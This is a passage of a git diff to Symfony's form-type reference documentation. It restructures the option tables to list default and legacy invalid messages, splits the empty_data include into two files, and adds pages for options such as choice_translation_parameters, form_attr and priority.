+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -141,8 +114,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -150,8 +122,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/help.rst.inc
 
@@ -172,5 +143,5 @@ The actual default value of this option depends on other field options:
 .. include:: /reference/forms/types/options/row_attr.rst.inc
 
 .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1
-.. _`ISO 639-2 alpha-3`: https://en.wikipedia.org/wiki/ISO_639-2
+.. _`ISO 639-2 alpha-3 (2T)`: https://en.wikipedia.org/wiki/ISO_639-2
 .. _`International Components for Unicode`: http://site.icu-project.org
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 385cc4f6fd8..4ee77116489 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -21,44 +21,17 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses a large list of locales. You *can* specify these options
 manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `choice_translation_locale`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>`                 |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LocaleType`   |
-+-------------+------------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)         |
++---------------------------+----------------------------------------------------------------------+
+| Default invalid message   | Please select a valid locale.                                        |
++---------------------------+----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                    |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LocaleType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -85,6 +58,8 @@ specify the language.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -112,8 +87,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -121,8 +95,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/help.rst.inc
 
diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index 4036f2f7dce..4d1ed612c67 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -19,6 +19,7 @@ Choice Fields
 ~~~~~~~~~~~~~
 
 * :doc:`ChoiceType </reference/forms/types/choice>`
+* :doc:`EnumType </reference/forms/types/enum>`
 * :doc:`EntityType </reference/forms/types/entity>`
 * :doc:`CountryType </reference/forms/types/country>`
 * :doc:`LanguageType </reference/forms/types/language>`
@@ -43,6 +44,12 @@ Other Fields
 * :doc:`FileType </reference/forms/types/file>`
 * :doc:`RadioType </reference/forms/types/radio>`
 
+UID Fields
+~~~~~~~~~~
+
+* :doc:`UuidType </reference/forms/types/uuid>`
+* :doc:`UlidType </reference/forms/types/ulid>`
+
 Field Groups
 ~~~~~~~~~~~~
 
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index bb91d0b08da..a7fa743846b 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -11,41 +11,17 @@ This field type allows you to specify a currency, whose symbol is rendered
 next to the text field. There are also several other options for customizing
 how the input and output of the data is handled.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``text`` field                                            |
-+-------------+---------------------------------------------------------------------+
-| Options     | - `currency`_                                                       |
-|             | - `divisor`_                                                        |
-|             | - `grouping`_                                                       |
-|             | - `html5`_                                                          |
-|             | - `rounding_mode`_                                                  |
-|             | - `scale`_                                                          |
-+-------------+---------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                       |
-| options     |                                                                     |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `invalid_message`_                                                |
-|             | - `invalid_message_parameters`_                                     |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\MoneyType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                            |
++---------------------------+---------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid money amount.                                  |
++---------------------------+---------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                       |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\MoneyType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -122,6 +98,8 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -133,13 +111,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
@@ -151,8 +127,6 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/label.rst.inc
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index 599d0efa4cd..eda9189f7e3 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -8,40 +8,17 @@ Renders an input text field and specializes in handling number input. This
 type offers different options for the scale, rounding and grouping
 that you want to use for your number.
 
-+-------------+----------------------------------------------------------------------+
-| Rendered as | ``input`` ``text`` field                                             |
-+-------------+----------------------------------------------------------------------+
-| Options     | - `grouping`_                                                        |
-|             | - `html5`_                                                           |
-|             | - `input`_                                                           |
-|             | - `scale`_                                                           |
-|             | - `rounding_mode`_                                                   |
-+-------------+----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                        |
-| options     |                                                                      |
-+-------------+----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                            |
-| options     | - `data`_                                                            |
-|             | - `disabled`_                                                        |
-|             | - `empty_data`_                                                      |
-|             | - `error_bubbling`_                                                  |
-|             | - `error_mapping`_                                                   |
-|             | - `help`_                                                            |
-|             | - `help_attr`_                                                       |
-|             | - `help_html`_                                                       |
-|             | - `invalid_message`_                                                 |
-|             | - `invalid_message_parameters`_                                      |
-|             | - `label`_                                                           |
-|             | - `label_attr`_                                                      |
-|             | - `label_format`_                                                    |
-|             | - `mapped`_                                                          |
-|             | - `required`_                                                        |
-|             | - `row_attr`_                                                        |
-+-------------+----------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                        |
-+-------------+----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\NumberType` |
-+-------------+----------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                             |
++---------------------------+----------------------------------------------------------------------+
+| Default invalid message   | Please enter a number.                                               |
++---------------------------+----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\NumberType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -86,6 +63,8 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -97,13 +76,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
@@ -115,8 +92,6 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/label.rst.inc
diff --git a/reference/forms/types/options/attr.rst.inc b/reference/forms/types/options/attr.rst.inc
index 629902b4fc8..c4bb89d277e 100644
--- a/reference/forms/types/options/attr.rst.inc
+++ b/reference/forms/types/options/attr.rst.inc
@@ -13,5 +13,5 @@ as keys. This can be useful when you need to set a custom class for some widget:
 
 .. seealso::
 
-    Use the ``row_attr`` option if you want to add these attributes to the
+    Use the ``row_attr`` option if you want to add these attributes to
     the :ref:`form type row <form-rendering-basics>` element.
diff --git a/reference/forms/types/options/choice_attr.rst.inc b/reference/forms/types/options/choice_attr.rst.inc
index 1c9f5138d66..5a0add4f195 100644
--- a/reference/forms/types/options/choice_attr.rst.inc
+++ b/reference/forms/types/options/choice_attr.rst.inc
@@ -13,6 +13,20 @@ If an array, the keys of the ``choices`` array must be used as keys::
     use Symfony\Component\Form\Extension\Core\Type\ChoiceType;
     // ...
 
+    $builder->add('fruits', ChoiceType::class, [
+        'choices' => [
+            'Apple' => 1,
+            'Banana' => 2,
+            'Durian' => 3,
+        ],
+        'choice_attr' => [
+            'Apple' => ['data-color' => 'Red'],
+            'Banana' => ['data-color' => 'Yellow'],
+            'Durian' => ['data-color' => 'Green'],
+        ],
+    ]);
+
+    // or use a callable
     $builder->add('attending', ChoiceType::class, [
         'choices' => [
             'Yes' => true,
@@ -35,7 +49,7 @@ If an array, the keys of the ``choices`` array must be used as keys::
 
         // ...
         $builder->add('choices', ChoiceType::class, [
-            'choice_label' => ChoiceList::attr($this, function (?Category $category) {
+            'choice_attr' => ChoiceList::attr($this, function (?Category $category) {
                 return $category ? ['data-uuid' => $category->getUuid()] : [];
             }),
         ]);
diff --git a/reference/forms/types/options/choice_translation_parameters.rst.inc b/reference/forms/types/options/choice_translation_parameters.rst.inc
new file mode 100644
index 00000000000..a384d38d487
--- /dev/null
+++ b/reference/forms/types/options/choice_translation_parameters.rst.inc
@@ -0,0 +1,80 @@
+choice_translation_parameters
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``array``, ``callable``, ``string`` or :class:`Symfony\\Component\\PropertyAccess\\PropertyPath` **default**: ``[]``
+
+The choice values are translated before displaying it, so it can contain
+:ref:`translation placeholders <component-translation-placeholders>`.
+This option defines the values used to replace those placeholders. This can be
+an associative array where the keys match the choice keys and the values
+are the attributes for each choice, a callable or a property path
+(just like `choice_label`_).
+
+Given this translation message:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # translations/messages.en.yaml
+        form.order.yes: 'I confirm my order to the company %company%'
+        form.order.no: 'I cancel my order'
+
+    .. code-block:: xml
+
+        <!-- translations/messages.en.xlf -->
+        <?xml version="1.0"?>
+        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
+            <file source-language="en" datatype="plaintext" original="file.ext">
+                <body>
+                <trans-unit id="form.order.yes">
+                    <source>form.order.yes</source>
+                    <target>I confirm my order to the company %company%</target>
+                </trans-unit>
+                <trans-unit id="form.order.no">
+                    <source>form.order.no</source>
+                    <target>I cancel my order</target>
+                </trans-unit>
+                </body>
+            </file>
+        </xliff>
+
+    .. code-block:: php
+
+        // translations/messages.fr.php
+        return [
+            'form.order.yes' => "I confirm my order to the company %company%",
+            'form.order.no' => "I cancel my order",
+        ];
+
+You can specify the placeholder values as follows::
+
+    $builder->add('id', null, [
+        'choices' => [
+            'form.order.yes' => true,
+            'form.order.no' => false,
+        ],
+        'choice_translation_parameters' => function ($choice, $key, $value) {
+            if (false === $choice) {
+                return [];
+            }
+
+            return ['%company%' => 'ACME Inc.']
+        },
+    ]);
+
+If an array, the keys of the ``choices`` array must be used as keys::
+
+    $builder->add('id', null, [
+        'choices' => [
+            'form.order.yes' => true,
+            'form.order.no' => false,
+        ],
+        'choice_translation_parameters' => [
+            'form.order.yes' => ['%company%' => 'ACME Inc.'],
+            'form.order.no' => [],
+        ],
+    ]);
+
+The translation parameters of child fields are merged with the same option of
+their parents, so children can reuse and/or override any of the parent placeholders.
diff --git a/reference/forms/types/options/empty_data_declaration.rst.inc b/reference/forms/types/options/empty_data_declaration.rst.inc
new file mode 100644
index 00000000000..4db2aa6723e
--- /dev/null
+++ b/reference/forms/types/options/empty_data_declaration.rst.inc
@@ -0,0 +1,4 @@
+``empty_data``
+~~~~~~~~~~~~~~
+
+**type**: ``mixed``
diff --git a/reference/forms/types/options/empty_data.rst.inc b/reference/forms/types/options/empty_data_description.rst.inc
similarity index 84%
rename from reference/forms/types/options/empty_data.rst.inc
rename to reference/forms/types/options/empty_data_description.rst.inc
index 5e0a23a70b9..90e111fb202 100644
--- a/reference/forms/types/options/empty_data.rst.inc
+++ b/reference/forms/types/options/empty_data_description.rst.inc
@@ -1,14 +1,3 @@
-``empty_data``
-~~~~~~~~~~~~~~
-
-**type**: ``mixed``
-
-.. This file should only be included with start-after or end-before that's
-   set to this placeholder value. Its purpose is to let us include only
-   part of this file.
-
-DEFAULT_PLACEHOLDER
-
 This option determines what value the field will *return* when the submitted
 value is empty (or missing). It does not set an initial value if none is
 provided when the form is rendered in a view.
diff --git a/reference/forms/types/options/form_attr.rst.inc b/reference/forms/types/options/form_attr.rst.inc
new file mode 100644
index 00000000000..bb6cb1ca4fd
--- /dev/null
+++ b/reference/forms/types/options/form_attr.rst.inc
@@ -0,0 +1,20 @@
+``form_attr``
+~~~~~~~~~~~~~
+
+**type**: ``boolean`` or ``string`` **default**: ``false``
+
+When ``true`` and used on a form element, it adds a `"form" attribute`_ to its HTML field representation with
+its HTML form id. By doing this, a form element can be rendered outside the HTML form while still working as expected::
+
+    $builder->add('body', TextareaType::class, [
+        'form_attr' => true,
+    ]);
+
+This can be useful when you need to solve nested form problems.
+You can also set this to ``true`` on a root form to automatically set the "form" attribute on all its children.
+
+.. note::
+
+    When the root form has no ID, ``form_attr`` is required to be a string identifier to be used as the form ID.
+
+.. _`"form" attribute`: https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#attr-fae-form
diff --git a/reference/forms/types/options/help.rst.inc b/reference/forms/types/options/help.rst.inc
index ded87842d8e..86f84111c88 100644
--- a/reference/forms/types/options/help.rst.inc
+++ b/reference/forms/types/options/help.rst.inc
@@ -1,11 +1,25 @@
 help
 ~~~~
 
-**type**: ``string`` **default**: null
+**type**: ``string`` or ``TranslatableMessage`` **default**: null
 
 Allows you to define a help message for the form field, which by default is
 rendered below the field::
 
-    $builder->add('zipCode', null, [
-        'help' => 'The ZIP/Postal code for your credit card\'s billing address.',
-    ]);
+    use Symfony\Component\Translation\TranslatableMessage;
+
+    $builder
+        ->add('zipCode', null, [
+            'help' => 'The ZIP/Postal code for your credit card\'s billing address.',
+        ])
+
+        // ...
+
+        ->add('status', null, [
+            'help' => new TranslatableMessage('order.status', ['%order_id%' => $order->getId()], 'store'),
+        ])
+    ;
+
+.. versionadded:: 5.4
+
+    Support for passing ``TranslatableMessage`` objects was introduced in Symfony 5.4.
diff --git a/reference/forms/types/options/help_html.rst.inc b/reference/forms/types/options/help_html.rst.inc
index 83bbe583ca6..2a5dccfb32e 100644
--- a/reference/forms/types/options/help_html.rst.inc
+++ b/reference/forms/types/options/help_html.rst.inc
@@ -1,7 +1,7 @@
 help_html
 ~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 By default, the contents of the ``help`` option are escaped before rendering
 them in the template. Set this option to ``true`` to not escape them, which is
diff --git a/reference/forms/types/options/label.rst.inc b/reference/forms/types/options/label.rst.inc
index 9797b6264cf..3d9b6bd1674 100644
--- a/reference/forms/types/options/label.rst.inc
+++ b/reference/forms/types/options/label.rst.inc
@@ -3,8 +3,8 @@
 
 **type**: ``string`` **default**: The label is "guessed" from the field name
 
-Sets the label that will be used when rendering the field. Setting to false
-will suppress the label. The label can also be directly set inside the template:
+Sets the label that will be used when rendering the field. Setting to ``false``
+will suppress the label. The label can also be set in the template:
 
 .. configuration-block::
 
diff --git a/reference/forms/types/options/label_html.rst.inc b/reference/forms/types/options/label_html.rst.inc
index 06568ed08f4..a87ad4ab6db 100644
--- a/reference/forms/types/options/label_html.rst.inc
+++ b/reference/forms/types/options/label_html.rst.inc
@@ -1,7 +1,7 @@
 ``label_html``
 ~~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 .. versionadded:: 5.1
 
diff --git a/reference/forms/types/options/preferred_choices.rst.inc b/reference/forms/types/options/preferred_choices.rst.inc
index bffb021f864..8cb1278136d 100644
--- a/reference/forms/types/options/preferred_choices.rst.inc
+++ b/reference/forms/types/options/preferred_choices.rst.inc
@@ -58,7 +58,7 @@ when rendering the field:
 
         {{ form_widget(form.publishAt, { 'separator': '=====' }) }}
 
-    .. code-block:: php
+    .. code-block:: html+php
 
         <?= $view['form']->widget($form['publishAt'], [
             'separator' => '=====',
diff --git a/reference/forms/types/options/priority.rst.inc b/reference/forms/types/options/priority.rst.inc
new file mode 100644
index 00000000000..8f53a05c9ab
--- /dev/null
+++ b/reference/forms/types/options/priority.rst.inc
@@ -0,0 +1,16 @@
+priority
+~~~~~~~~
+
+**type**: ``integer`` **default**: ``0``
+
+.. versionadded:: 5.3
+
+    The ``priority`` option was introduced in Symfony 5.3.
+
+Fields are rendered in the same order as they are included in the form. This
+option changes the field rendering priority, allowing you to display fields
+earlier or later than their original order.
+
+This option will affect the view order only. The higher this priority, the
+earlier the field will be rendered. Priority can also be negative and fields
+with the same priority will keep their original order.
diff --git a/reference/forms/types/options/row_attr.rst.inc b/reference/forms/types/options/row_attr.rst.inc
index e8cbaa6b564..f280fc3dfcc 100644
--- a/reference/forms/types/options/row_attr.rst.inc
+++ b/reference/forms/types/options/row_attr.rst.inc
@@ -12,5 +12,5 @@ to render the :ref:`form type row <form-rendering-basics>`::
 
 .. seealso::
 
-    Use the ``attr`` option if you want to add these attributes to the
+    Use the ``attr`` option if you want to add these attributes to
     the :ref:`form type widget <form-rendering-basics>` element.
diff --git a/reference/forms/types/options/scale.rst.inc b/reference/forms/types/options/scale.rst.inc
deleted file mode 100644
index 0d2ec3d6dbc..00000000000
--- a/reference/forms/types/options/scale.rst.inc
+++ /dev/null
@@ -1,9 +0,0 @@
-``scale``
-~~~~~~~~~
-
-**type**: ``integer`` **default**: Locale-specific (usually around ``3``)
-
-This specifies how many decimals will be allowed until the field rounds
-the submitted value (via ``rounding_mode``). For example, if ``scale`` is set
-to ``2``, a submitted value of ``20.123`` will be rounded to, for example,
-``20.12`` (depending on your `rounding_mode`_).
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 37acff1a616..d512be22594 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -6,33 +6,17 @@ PasswordType Field
 
 The ``PasswordType`` field renders an input password text box.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | ``input`` ``password`` field                                           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `always_empty`_                                                      |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `trim`_                                                              |
-| options     |                                                                        |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                          |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PasswordType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | ``input`` ``password`` field                                           |
++---------------------------+------------------------------------------------------------------------+
+| Default invalid message   | The password is invalid.                                               |
++---------------------------+------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                          |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PasswordType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -54,6 +38,8 @@ entered into the box, set this to false and submit the form.
 Overridden Options
 ------------------
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 ``trim``
 ~~~~~~~~
 
@@ -73,13 +59,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index 4b21f1f2856..0102f0c1d83 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -12,40 +12,17 @@ you can use this field out-of-the-box. If you store your data as a number
 When ``symbol`` is not ``false``, the field will render the given string after
 the input.
 
-+-------------+-----------------------------------------------------------------------+
-| Rendered as | ``input`` ``text`` field                                              |
-+-------------+-----------------------------------------------------------------------+
-| Options     | - `html5`_                                                            |
-|             | - `rounding_mode`_                                                    |
-|             | - `scale`_                                                            |
-|             | - `symbol`_                                                           |
-|             | - `type`_                                                             |
-+-------------+-----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                         |
-| options     |                                                                       |
-+-------------+-----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                             |
-| options     | - `data`_                                                             |
-|             | - `disabled`_                                                         |
-|             | - `empty_data`_                                                       |
-|             | - `error_bubbling`_                                                   |
-|             | - `error_mapping`_                                                    |
-|             | - `help`_                                                             |
-|             | - `help_attr`_                                                        |
-|             | - `help_html`_                                                        |
-|             | - `invalid_message`_                                                  |
-|             | - `invalid_message_parameters`_                                       |
-|             | - `label`_                                                            |
-|             | - `label_attr`_                                                       |
-|             | - `label_format`_                                                     |
-|             | - `mapped`_                                                           |
-|             | - `required`_                                                         |
-|             | - `row_attr`_                                                         |
-+-------------+-----------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                         |
-+-------------+-----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PercentType` |
-+-------------+-----------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                              |
++---------------------------+-----------------------------------------------------------------------+
+| Default invalid message   | Please enter a percentage value.                                      |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PercentType` |
++---------------------------+-----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -115,6 +92,8 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -126,13 +105,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
@@ -144,8 +121,6 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/label.rst.inc
diff --git a/reference/forms/types/radio.rst b/reference/forms/types/radio.rst
index ae0d58d2fe4..de7a8bbde12 100644
--- a/reference/forms/types/radio.rst
+++ b/reference/forms/types/radio.rst
@@ -13,38 +13,25 @@ The ``RadioType`` isn't usually used directly. More commonly it's used
 internally by other types such as :doc:`ChoiceType </reference/forms/types/choice>`.
 If you want to have a boolean field, use :doc:`CheckboxType </reference/forms/types/checkbox>`.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``radio`` field                                           |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | from the :doc:`CheckboxType </reference/forms/types/checkbox>`:     |
-| options     |                                                                     |
-|             | - `value`_                                                          |
-|             |                                                                     |
-|             | from the :doc:`FormType </reference/forms/types/form>`:             |
-|             |                                                                     |
